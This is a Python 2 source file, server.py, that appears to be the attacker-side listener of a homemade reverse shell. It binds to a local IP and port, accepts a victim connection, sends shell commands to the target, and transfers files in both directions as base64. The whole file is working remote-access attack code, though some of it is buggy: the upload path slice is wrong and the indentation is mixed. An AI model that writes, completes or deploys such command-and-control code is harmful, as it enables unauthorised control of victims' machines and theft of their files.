server.py

#!/usr/bin/python

import socket
import json
import base64
def reliable_send(data):
	json_data = json.dumps(data)
	target.send(json_data)

def reliable_recv():
	data=""
	while True:
		try:
			data = data + target.recv(1024)
			return json.loads(data)
		except ValueError:
			continue

def shell():
        while True:
		command = raw_input("Shell#~%s"%str(ip))
		reliable_send(command)
        	if command =='q':
			break
		elif command[:2] =='cd'and len(command)>1:
			continue
		elif command[:8] == "download":
			with open(command[9:]+"_copy","wb") as file:
				file_data = reliable_recv()
				file.write(base64.b64decode(file_data))
		elif command[:6] == "upload":
			try:
				with open(command[:7],"rb") as fin:
					reliable_send(base64.b64encode(fin.read()))
			except:
				failed = "failed to upload"
				reliable_send(base64.b64encode(failed))
		else :
			
       			message = reliable_recv()
			print(message)

def server():
        global s
        global ip
        global target
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
        s.bind(("192.168.43.47",54321))
        s.listen(5)
        print("[+]Listening for incomming connections:")
        target, ip = s.accept()
        print("[+]Connnections Established From: %s" %str(ip))

server()
shell()